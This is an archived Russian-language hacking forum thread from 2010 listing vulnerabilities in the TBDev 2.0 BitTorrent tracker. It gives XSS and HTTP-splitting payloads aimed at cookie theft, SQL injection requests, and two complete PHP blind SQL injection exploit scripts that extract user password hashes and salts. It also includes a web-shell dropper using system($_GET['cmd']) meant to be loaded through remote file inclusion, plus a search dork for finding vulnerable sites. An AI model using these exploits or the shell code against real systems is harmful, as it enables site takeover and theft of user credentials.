RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   Трекер-движок TBDev (https://rdot.org/forum/showthread.php?t=249)

Qwazar 09.07.2010 16:05

Трекер-движок TBDev
 
Баги искал на, TBDev 2.0 Yuna Scatari Edition, подозреваю что в других редакциях они так-же работают:

Раскрытие пути, если не залогинен:
Код:

confirm.php?id[]=
themes/TBDev/stdfoot.php
themes/TBDev/stdhead.php
themes/Gray/stdhead.php
delete.php
captcha.php

если залогинен:
Код:

thanks.php
votesview.php
takeedit.php
comment.php?action=quote&cid[]=

XSS
Код:

http://site/offcomment.php?action=<script>alert(/XSS/)</script>
XSS в POST-запросе:
Код:

<form action="http://site/getrss.php" method="POST">
<input type="text" name="cat[1]" value="&lt;script&gt;alert(/XSS/)&lt;/script&gt;">
<input type="submit">
</form>

HTTP Splitting (требуются права модератора)
Код:

<form action="http://site/comment.php?action=edit&cid=ID_комментария" method="POST">
<input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
<input type="text" name="text" value="any_text">
<input type="submit">
</form>

Вместо "ID_комментария" надо подставить id реально существующего комментария. Так же эта бага позволяет отредиректить модератора на любой домен (проверки на то что адрес назначения находится на том-же домене, нет).

Ищется в гугле, как: "Powered by TBDev v2.0"

В общем, всё что нашёл сегодня, багов на порядок больше, но искал не оч. глубоко.

Qwazar 09.07.2010 16:06

HTTP Splitting (простого пользователя достаточно):
Код:

<form action="http://site/message.php?action=takemessage" method="POST">
<input type="text" name="receiver" value="1">
<input type="text" name="origmsg" value="1">
<input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
<input type="text" name="msg" value="msg">
<input type="text" name="subject" value="subject">
<input type="submit">
</form>

XSS в POST запросе (требуются права модератора):
Код:

<form action="http://site/message.php?action=mass_pm" method="POST">
<input type="text" name="n_pms" value="&lt;script&gt;alert(/XSS1/)&lt;/script&gt;">
<input type="text" name="pmees" value="&lt;script&gt;alert(/XSS2/)&lt;/script&gt;">
<input type="submit">
</form>

Там же, XSS в Referer(требуются права модератора)
Код:

Referer: ><script>alert(/Hi/)</script>
SQL Inj(требуются права модератора)
Код:

<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="SQL">
<input type="submit">
</form>

Запрос: SELECT modcomment FROM users WHERE id IN (SQL)


Blind SQL Inj
(требуются права модератора)
Код:

<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="1">
<input type="text" name="desact[]" value="SQL">
<input type="submit">
</form>

Запрос: UPDATE users SET enabled='no' WHERE id IN (SQL)

Qwazar 09.07.2010 16:06

SQL Inj
Код:

http://site/requests.php?action=reset&requestid=sql'
Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

SQL Inj
Код:

http://site/requests.php?action=reset&requestid=sql'
Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

SQL Inj:
POST:
Код:

http://site/requests.php
action=edit&category=1&id=SQL

Запрос: UPDATE requests SET cat=1, request='', descr='' WHERE id=SQL

Blind SQL Inj:
POST:
Код:

http://site/offers.php
action=edit&id=SQL

Запрос: UPDATE offers SET category='', name='', descr='' WHERE id=SQL

SQL Inj (требуются права модератора):
POST:
Код:

http://site/offers.php
deloffer=SQL

Запрос: DELETE FROM offers WHERE id = SQL

XSS
Код:

http://site/viewrequests.php?category=><script>alert(/XSS/)</script>
XSS(требуются права модератора)
Код:

http://site/staffmess.php?returnto=><script>alert(/XSS/)</script>
XSS in Referer:
Код:

http://site/offcomment.php?action=edit&cid=3
Referer: ><script>alert(/XSS/)</script>

Код:

http://site/offcomment.php?action=vieworiginal&cid=3
Referer: ""><script>alert(/XSS/)</script>

HTTP Splitting (требуются права модератора):
Код:

http://site/offcomment.php?action=delete&cid=1&sure=1&returnto=<script>alert(document.cookie)</script>
POST:
Код:

http://site/offcomment.php?action=edit&cid=3
msg=msg&returnto=value

З.Ы.
Сори за неупорядоченность, постил по мере нахождения. Кстати, теперь по Powered by TBDev на второй строчке гугла находится античат :D

Qwazar 09.07.2010 16:07

TBDev v2.0 Blind SQL Injection Exploit
Код:

http://site/requests.php?action=reset&requestid=sql'
Иньекция оказалось слепой, но с выводом ошибки поэтому использовал следующий запрос:
Код:

/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+users+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+
Для запуска требуется логин/пароль любого зарегистрированного пользователя, кукисы сплоит запросит самостоятельно.

Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);

Запускать так:
Код:

tbdev2sql.php url target_id login password
Например tbdev2sql.php http://www.site.com/ 1 Vasya Pupkin

Собственно код:
Код:

<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru

set_time_limit(0);
ignore_user_abort(1);

function getcookie($url, $name, $password){
        $res = send_xpl($url,"takelogin.php?username=$name&password=$password");
        preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
        $uid=$matches[1];
        preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
        $passhash=$matches[1];
        $res = "uid=$uid; pass=$passhash;";
        if(isset($uid)&&isset($passhash))
                return $res;
        else
                return -1;
}

function send_xpl($url, $xpl){
        global $id;
        global $cookie;
        $u=parse_url($url);
        $req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
        $req.="Host: ".$u['host']."\r\n";
        $req.="Cookie: $cookie\r\n";
        $req.="Connection: Close\r\n\r\n";
        $fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
        fwrite($fs, $req);
        while (!feof($fs)) {
                  $res .= fread($fs, 8192);
        }
        fclose($fs);
        return $res;
}

function xpl($field ,$condition, $pos){
        global $id;
        $xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+";
        return $xpl;
}

if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2sql.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];

echo $url.":".$name.":".$password."\r\n";

echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
        echo "[DONE]\r\n";
else
        die("Can't get cookies.. Pass incorrect?\r\n");

echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){       
        $flag = 0;
        for($j=48;$j<=57;$j++){
                if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
                else {if($j!=48) {echo chr(8);} echo chr($j);}
        }
        if($flag!=1) {
                for($j=97;$j<=102;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if (!$flag)
                die("\r\nExploit failed\r\n");
}

echo " [DONE]\r\n";

echo "Trying to get salt: ";
//get secret (20 characters 1-9a-Z)
for($i=1;$i<=20;$i++){
        $flag = 0;
        for($j=49;$j<=57;$j++){
                if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=49) {echo chr(8);} echo chr($j); $flag=1; break; }
                else {if($j!=49) {echo chr(8);} echo chr($j);}
        }
        if($flag!=1) {
                for($j=65;$j<=90;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if($flag!=1) {
                for($j=97;$j<=122;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if (!$flag)
                die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n";


?>


Qwazar 09.07.2010 16:08

Ещё XSS, требуются права модератора:
Код:

http://site/stats.php?uporder="><script>alert(/XSS/)</script>
http://site/usersearch.php?r="><script>alert(/XSS/)</script>

Для usersearch.php уязвимы параметры r,n,co,dl2,ls2,ul2,ls,d,em,ul,r2,dl,ma,ip,d2

Qwazar 09.07.2010 16:08

Новая версия сплоента, использует бинарный поиск (что делает его предпочтительнее прошлого варианта ввиду логарифмической сложности поиска, а значит и меньшем количестве запросов к серверу, во время атаки), так-же перед атакой проверяет уязвима ли цель. Поиск по соли идёт теперь в диапазоне от 0 до 255, т.к. есть данные, что соль в разных версиях (или с какими нибудь модами) генерится по разному.

Код:

<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function getcookie($url, $name, $password){
        $res = send_xpl($url,"takelogin.php?username=$name&password=$password");
        preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
        $uid=$matches[1];
        preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
        $passhash=$matches[1];
        $res = "uid=$uid; pass=$passhash;";
        if(isset($uid)&&isset($passhash))
                return $res;
        else
                return -1;
}

function send_xpl($url, $xpl){
        global $id;
        global $cookie;
        $u=parse_url($url);
        $req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
        $req.="Host: ".$u['host']."\r\n";
        $req.="Cookie: $cookie\r\n";
        $req.="Connection: Close\r\n\r\n";
        $fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
        fwrite($fs, $req);
        while (!feof($fs)) {
                  $res .= fread($fs, 8192);
        }
        fclose($fs);
        return $res;
}

function xpl($field, $condition, $pos){
        global $id;
        $xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+";
        return $xpl;
}

function cond($url, $field, $cond, $pos, $ch) {
        if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
                return 1;
        else
                return 0;

}

function isVulnerable($url) {
        if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1))))
                return 1;
        else
                return 2;
}

function getChar($url, $field, $pos, $lb=0, $ub=255) {
        while(true) {
                $M = floor($lb + ($ub-$lb)/2);
                if(cond($url, $field, '<', $pos, $M)==1) {
                        $ub = $M - 1;
                }
                else if(cond($url, $field, '>', $pos, $M)==1) {
                        $lb = $M + 1;
                }
                else
                        return chr($M);
                if($lb > $ub)
                        return -1;
        }
}

if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];

echo $url.":".$name.":".$password."\r\n";

echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
        echo "[DONE]\r\n";
else
        die("Can't get cookies.. Pass incorrect?\r\n");

if(!isVulnerable($url))
        die("Exploit failed: Target is not vulnerable");

echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){       
        $c = getChar($url, "passhash", $i, 47, 103);
        if($c==-1)
                die("\r\nExploit failed\r\n");
        else
                echo $c;
}
echo " [DONE]\r\n";

echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){       
        $c = getChar($url, "secret", $i);
        if($c==-1)
                die("\r\nExploit failed\r\n");
        else
                echo $c;
}
echo " [DONE]\r\n";


?>

Как защититься, читаем тут: https://forum.antichat.ru/thread30641.html

Не забыть и про остальные файлы кроме requests.php, двиг дырявый, я вполне мог чтото и просмотреть.

З.Ы.
Да и вообще хозяйке на заметку - бинарный поиск вечно рулит, незачем писать перебор в лоб и слать по 16 запросов, на каждый символ, особенно критично если сплоент на бенчмарке.

Qwazar 09.07.2010 16:09

Сплоит для TBDev 2.0. , от паблик версии отличается тем, что пытается залить шелл на сервер, помимо поиска пасса/соли. Если шелл залить не удаётся, значит вместо RFI прийдётся использовать LFI, или на сервере не работает функция file_put_contents, которую вполне можно заменить на обычный fopen/fwrite.

LFI/RFI в админке используя параметр admincp.php?rootpath=.

Если register_globals ON, то LFI/RFI доступны и не из админки, а из index.php, тот же параметр.

Читайте комментарии к сплоиту, для заливки шелла, нужно положить код
Код:

<?php
  file_put_contents("torrents/.htaccess", "");
  file_put_contents("torrents/shell.php", "<? system(\$_GET['cmd']) ?>");
?>

В файл доступный для чтения, на вашем сервере и прописать путь к нему в переменной $uploader.

Так же сплоит может просто вытащить хеш, соль не закачивая шелл. Используется алгоритм бинарного поиска, так что запросов шлётся относительно немного, для слепой скули. (максимум 4 запроса на символ, вместо стабильно 16 при полном переборе, т.е. работает минимум в 4 раза быстрее, чем при полном переборе. И вообще для всех сплоитов со слепыми скулями, использующих BENCHMARK или перебор имён таблиц, стоит использовать алгоритм бинарного поиска, так быстрее)

P.S.
В каталоге 'admin' вообще лежит файлик (core.php) следующего содержания:
Код:

$op = (!isset($_REQUEST['op'])) ? "Main" : $_REQUEST['op'];

foreach ($_GET as $key => $value)
        $GLOBALS[$key] = $value;
foreach ($_POST as $key => $value)
        $GLOBALS[$key] = $value;
foreach ($_COOKIE as $key => $value)
        $GLOBALS[$key] = $value;

Этот файл инклудится в admin.php .

Dork:"Powered by TBDev v2.0"

Qwazar 09.07.2010 16:11

Тут пишут что найдена ещё уязвимость: https://forum.antichat.ru/showpost.p...postcount=7789

Цитата:

A vulnerability found in the popular bittorrent tracker TBSource code allows an attacker to inject SQL queries and read secret information from the database.
The value of 'choice' passed to the script index.php is not properly sanitized. When a special tailored value is passed by an attacker, full reading access to the database is possible.
Some projects based in TBSource like TBDev and TorrentStrike have been found to be affected by the same vulnerability.
Источник не указан, если кто найдёт - пишите, поставим копирайты. Расковырял этот парметр, вот результат:

Посмотрел, короче будет работать только если:

1) залогиниться
2) юзер хоть раз участвовал в голосовании

Уязвимый запрос:
Код:

sql_query("INSERT INTO pollanswers VALUES(0, $pollid, $userid, $choice)") or sqlerr(__FILE__, __LINE__);
тогда можно в к примеру сделать так:
Цитата:

http://test1.ru:8012/tbdev/
POST choice=111 and if(substring(version(),1,1)=5,(select 1 union select 2),2)
UPD:
Нашёл источник: "Bug discovered by Emiliano Scavuzzo"


Часовой пояс GMT +3, время: 21:57.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot